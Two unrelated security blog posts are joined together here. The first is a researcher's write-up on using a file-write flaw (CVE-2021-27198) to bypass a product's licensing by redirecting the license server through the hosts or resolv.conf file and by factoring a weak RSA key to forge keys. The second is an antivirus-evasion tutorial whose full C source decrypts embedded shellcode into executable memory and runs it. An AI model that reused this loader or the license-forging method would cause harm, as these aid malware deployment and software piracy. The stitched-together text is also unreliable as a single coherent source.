After all the effort put in to develop the rtaplugin exploit, I was disappointed to find out that rtaplugins (and the associated thread that loads them periodically) are only active when the web server has a valid license. I wasnβt aware of this because my test instance was still within its trial phase. I decided to take another look and see if our privileged file write vulnerability (CVE-2021-27198) can be used once again, but this time to trick the server into thinking it is licensed. The hope here is to find a file or database entry that can modified with our file upload exploit to bypass licensing.Β I want to be sure to clarify here, nothing I will describe here can be used to subvert or crack the license for this software on a fully patched system. The goal is to use our already privileged file system access to bypass any license checks.
When you navigate to the web application home page, youβll see a menu on the left that contains a link to βLicensingβ. Itβs safe to assume this is the right place to look.
Sadly, when you click on it, youβre presented with the login page. If youβre fortunate and the password for the admin user hasnβt been changed, the next page youβll encounter is shown below.
If youβve made it this far, or happen to guess some credentials, you will have sufficient permissions to access the server licensing endpoint. Thereβs not much to go on in regards to the format of the expected key other than the hint that it starts with MCS.
I opened up the JAR again and tracked down the code responsible for handling the license activation. The handler performs a series of checks and transforms before making a web request to a visualware domain to verify the license.
If that fails (by exception), the server then attempts to validate the license by sending a specially crafted DNS request.
Leveraging the privileged file write capability of CVE-2021-27198, there are several methods at my disposal for circumventing the licensing without having to decipher the licensing key directly. As the software initiates a network request to validate the entered key, it can be rerouted to a server under my control to authenticate the supplied key.
The most straightforward method to achieve this is by modifying the hosts file, a file which contains mappings of IP addresses to hostnames, and is typically the first location an operating system checks when resolving a hostnameβs IP address. On Windows systems, you can find this file at C:\Windows\System32\drivers\etc\hosts, and on *nix systems, itβs located at /etc/hosts. To manipulate the license verification process, I can simply insert a new entry into the hosts file, directing the license server domain to the IP address of a server under my control.
An alternative approach, specific to *nix systems, involves altering the /etc/resolv.conf file, which specifies the DNS serverβs IP address used for domain resolution. By changing the DNS server address to a server that I manage, I can ensure that any DNS requests for the license server are resolved to my fake license serverβs IP address.
WARNING: It should be noted that overwriting the /etc/hosts or /etc/resolv.conf file can cause system instability if certain configurations are expected to properly resolve custom DNS entries or resolvers.
My next step is to trace back the activate function to the web endpoint that can trigger it. Unfortunately, it appears the key entered into the web form is not the same format as what is sent to the license server. After performing a couple string-based checks, a validate function is called on the provided license key. If you look at the function closely, it may look familiar. It appears to be implementing a handcrafted version of RSA.
From a security standpoint, the rationale behind requiring an encrypted license key as the input into the web application doesnβt make sense. First and foremost, since the unencrypted license key is subsequently transmitted over the network, unencrypted, it can easily be captured with a tool like Wireshark. Secondly, the actual license key is verified on the vendorβs server so deducing how the license key is generated is impractical. Unfortunately for me however, this has introduced a minor obstacle in reaching the network activation function detailed in the previous section.
The astute reader may have already noticed an interesting detail about the RSA parameters. That public key looks awful small. Just barely over 256 bits. It appears our CTF challenge continues⦠(oh wait this is real software).
For those imposters in the infosec community that claim playing CTF doesnβt provide real world experience, I can confidently say youβve never hunted real bugs. All too often I come across exploit chains that appear as if someone neatly setup each primitive for me to uncover. I personally donβt spend a ton of time attempting crypto challenges when playing CTFs, mostly because Iβm not smart enough. Luckily for me, this example would fit nicely into the babyβs first category. With such a small public key, I should be able to find a CTF writeup that guides me through the process of breaking it down into its two prime numbers. A few searches later I found an article by Dennis Yurichev that demonstrates using a tool called CADO-NFS to do just that. After about 5 mins I was presented with the answer.
With the two prime numbers in hand, I attempted to reconstruct the private key using the script provided in Yurichevβs post. Unfortunately, the RSA crypto libraries in python didnβt play well with the provided primes. Namely because the block size rounded up to 257 bits and it complained about truncation. I also discovered that the serverβs custom RSA implementation didnβt implement padding. To get around these issues I wrote code to perform the calculations manually rather than using a crypto library.
Copy to Clipboard
I used my script to generate an encrypted blob with the derived RSA private key and fired off a web request with a finished license key. Keep in mind, since Iβve already overwritten the hosts file, I only need to pass the decryption checks as the key will not be transmitted to the vendorβs server for verification. To my delight, it works!
Conclusion
My journey to developing a working exploit for CVE-2021-27198 finally comes to an end. What started as a simple exercise turned into quite an endeavor. For anyone interested, Iβve uploaded my exploit here.
Hello, cybersecurity enthusiasts and white hackers!
This post is the result of my own research on try to evasion AV engines via encrypting payload with another algorithm: WAKE. As usual, exploring various crypto algorithms, I decided to check what would happen if we apply this to encrypt/decrypt the payload.
wake
The WAKE (Word Auto-Key Encryption) algorithm, created by David Wheeler in 1993, is a stream encryption method. It uses an automatic key schedule to encrypt and decrypt data. Operating in rounds, it generates an auto-key sequence to scramble data. Its simplicity makes it easy to implement, though not suitable for high-security applications due to known vulnerabilities. WAKE encryption offers historical significance as one of the early cryptographic algorithms for lightweight applications.
practical example
Hereβs a step-by-step overview of implementing the WAKE encryption algorithm with 32 rounds:
Key Scheduling: - Start with a 32-bit encryption key. Initialize a schedule array to store round keys. The first key is the user-provided key, and the remaining keys are generated using a simple arithmetic operation and a multiplier.
Data Preparation: - Divide the data into 32-bit blocks if the data length is not already a multiple of 4 bytes. Add padding to ensure the last block is 32 bits:
voidadd_padding(unsignedchar**data,size_t*data_len){size_toriginal_len=*data_len;size_tnew_len=(*data_len+3)&~3;// Round up to the nearest 4 bytesif(new_len!=original_len){unsignedchar*new_data=(unsignedchar*)malloc(new_len);if(new_data==NULL){// Handle memory allocation errorreturn;}memset(new_data,0,new_len);memcpy(new_data,*data,original_len);*data=new_data;*data_len=new_len;}}
Encryption: - For each 32-bit block of data:
For each of the 32 rounds:
Add the current round key to the data block.
Perform a bitwise rotation operation on the data (shifting left by 3 bits and rotating in the carry bit).
Padding Removal: - After decryption, remove any added padding from the data:
// Remove padding from datavoidremove_padding(unsignedchar**data,size_t*data_len){// find the last non-zero byteinti=*data_len-1;while(i>=0&&(*data)[i]==0){i--;}// Calculate the new length without paddingsize_tnew_len=i+1;if(new_len!=*data_len){// Create a new buffer without paddingunsignedchar*new_data=(unsignedchar*)malloc(new_len);if(new_data==NULL){// Handle memory allocation errorreturn;}memcpy(new_data,*data,new_len);*data=new_data;*data_len=new_len;}}
This implementation yields a simple yet effective encryption scheme. However, itβs important to note that the WAKE algorithm has known vulnerabilities and is not suitable for high-security applications.
So, full source code for encryption and decryption our meow-meow payload is looks like this:
/*
* hack.c
* WAKE encrypt/decrypt implementation
* author: @cocomelonc
* https://cocomelonc.github.io/malware/2023/10/20/malware-cryptography-21.html
*/#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <stdlib.h>
#include <windows.h>
#define ROUNDS 64
// WAKE key schedulevoidkey_schedule(uint32_tkey,uint32_tschedule[ROUNDS]){schedule[0]=key;for(inti=1;i<ROUNDS;i++){schedule[i]=(schedule[i-1]+0x6DC597F)*0x5851F42D;}}// WAKE encryptionvoidwake_encrypt(uint32_tschedule[ROUNDS],uint32_t*data,size_tdata_len){for(size_ti=0;i<data_len;i++){for(intj=0;j<ROUNDS;j++){data[i]+=schedule[j];data[i]=(data[i]<<3)|(data[i]>>29);}}}// WAKE decryptionvoidwake_decrypt(uint32_tschedule[ROUNDS],uint32_t*data,size_tdata_len){for(size_ti=0;i<data_len;i++){for(intj=ROUNDS-1;j>=0;j--){data[i]=(data[i]>>3)|(data[i]<<29);data[i]-=schedule[j];}}}// Add padding to datavoidadd_padding(unsignedchar**data,size_t*data_len){size_toriginal_len=*data_len;size_tnew_len=(*data_len+3)&~3;// Round up to the nearest 4 bytesif(new_len!=original_len){unsignedchar*new_data=(unsignedchar*)malloc(new_len);if(new_data==NULL){// Handle memory allocation errorreturn;}memset(new_data,0,new_len);memcpy(new_data,*data,original_len);*data=new_data;*data_len=new_len;}}// Remove padding from datavoidremove_padding(unsignedchar**data,size_t*data_len){// find the last non-zero byteinti=*data_len-1;while(i>=0&&(*data)[i]==0){i--;}// Calculate the new length without paddingsize_tnew_len=i+1;if(new_len!=*data_len){// Create a new buffer without paddingunsignedchar*new_data=(unsignedchar*)malloc(new_len);if(new_data==NULL){// Handle memory allocation errorreturn;}memcpy(new_data,*data,new_len);*data=new_data;*data_len=new_len;}}// Encrypt/decrypt datavoidrun_payload(unsignedchar*data,size_tdata_len,uint32_tkey){printf("original data:\n");for(size_ti=0;i<data_len;i++){printf("%02x ",data[i]);}printf("\n\n");add_padding(&data,&data_len);// Add paddingprintf("padded data:\n");for(size_ti=0;i<data_len;i++){printf("%02x ",data[i]);}printf("\n\n");size_tnum_words=data_len/4;uint32_t*data_words=(uint32_t*)data;uint32_tschedule[ROUNDS];key_schedule(key,schedule);// Encrypt the datawake_encrypt(schedule,data_words,num_words);printf("encrypted data:\n");for(size_ti=0;i<num_words;i++){// printf("%02X ", data_words[i]);for(intj=0;j<4;j++){printf("%02x ",(data_words[i]>>(j*8))&0xFF);}// printf(" "); // Add space between words}printf("\n\n");// Decrypt the datawake_decrypt(schedule,data_words,num_words);printf("decrypted data:\n");for(size_ti=0;i<num_words;i++){// printf("%08X ", data_words[i]);for(intj=0;j<4;j++){printf("%02x ",(data_words[i]>>(j*8))&0xFF);}// printf(" "); // Add space between words}printf("\n\n");remove_padding(&data,&data_len);// Remove paddingprintf("decrypted unpadded data:\n");for(size_ti=0;i<data_len;i++){printf("%02x ",data[i]);}printf("\n\n");LPVOIDmem=VirtualAlloc(NULL,data_len,MEM_COMMIT,PAGE_EXECUTE_READWRITE);RtlMoveMemory(mem,data,data_len);EnumDesktopsA(GetProcessWindowStation(),(DESKTOPENUMPROCA)mem,NULL);}intmain(){unsignedchardata[]={0xfc,0x48,0x81,0xe4,0xf0,0xff,0xff,0xff,0xe8,0xd0,0x0,0x0,0x0,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x3e,0x48,0x8b,0x52,0x18,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x48,0x8b,0x72,0x50,0x3e,0x48,0xf,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x2,0x2c,0x20,0x41,0xc1,0xc9,0xd,0x41,0x1,0xc1,0xe2,0xed,0x52,0x41,0x51,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x8b,0x42,0x3c,0x48,0x1,0xd0,0x3e,0x8b,0x80,0x88,0x0,0x0,0x0,0x48,0x85,0xc0,0x74,0x6f,0x48,0x1,0xd0,0x50,0x3e,0x8b,0x48,0x18,0x3e,0x44,0x8b,0x40,0x20,0x49,0x1,0xd0,0xe3,0x5c,0x48,0xff,0xc9,0x3e,0x41,0x8b,0x34,0x88,0x48,0x1,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0xd,0x41,0x1,0xc1,0x38,0xe0,0x75,0xf1,0x3e,0x4c,0x3,0x4c,0x24,0x8,0x45,0x39,0xd1,0x75,0xd6,0x58,0x3e,0x44,0x8b,0x40,0x24,0x49,0x1,0xd0,0x66,0x3e,0x41,0x8b,0xc,0x48,0x3e,0x44,0x8b,0x40,0x1c,0x49,0x1,0xd0,0x3e,0x41,0x8b,0x4,0x88,0x48,0x1,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x3e,0x48,0x8b,0x12,0xe9,0x49,0xff,0xff,0xff,0x5d,0x49,0xc7,0xc1,0x0,0x0,0x0,0x0,0x3e,0x48,0x8d,0x95,0xfe,0x0,0x0,0x0,0x3e,0x4c,0x8d,0x85,0x9,0x1,0x0,0x0,0x48,0x31,0xc9,0x41,0xba,0x45,0x83,0x56,0x7,0xff,0xd5,0x48,0x31,0xc9,0x41,0xba,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x4d,0x65,0x6f,0x77,0x2d,0x6d,0x65,0x6f,0x77,0x21,0x0,0x3d,0x5e,0x2e,0x2e,0x5e,0x3d,0x0};size_tdata_len=sizeof(data);uint32_tkey=0x01234567;// 32-bit encryption keyrun_payload(data,data_len,key);return0;}
Of course, this will look suspicious for antivirus solutions, but Iβll still look at the result. Printing operations is just for checking correctness of implementation.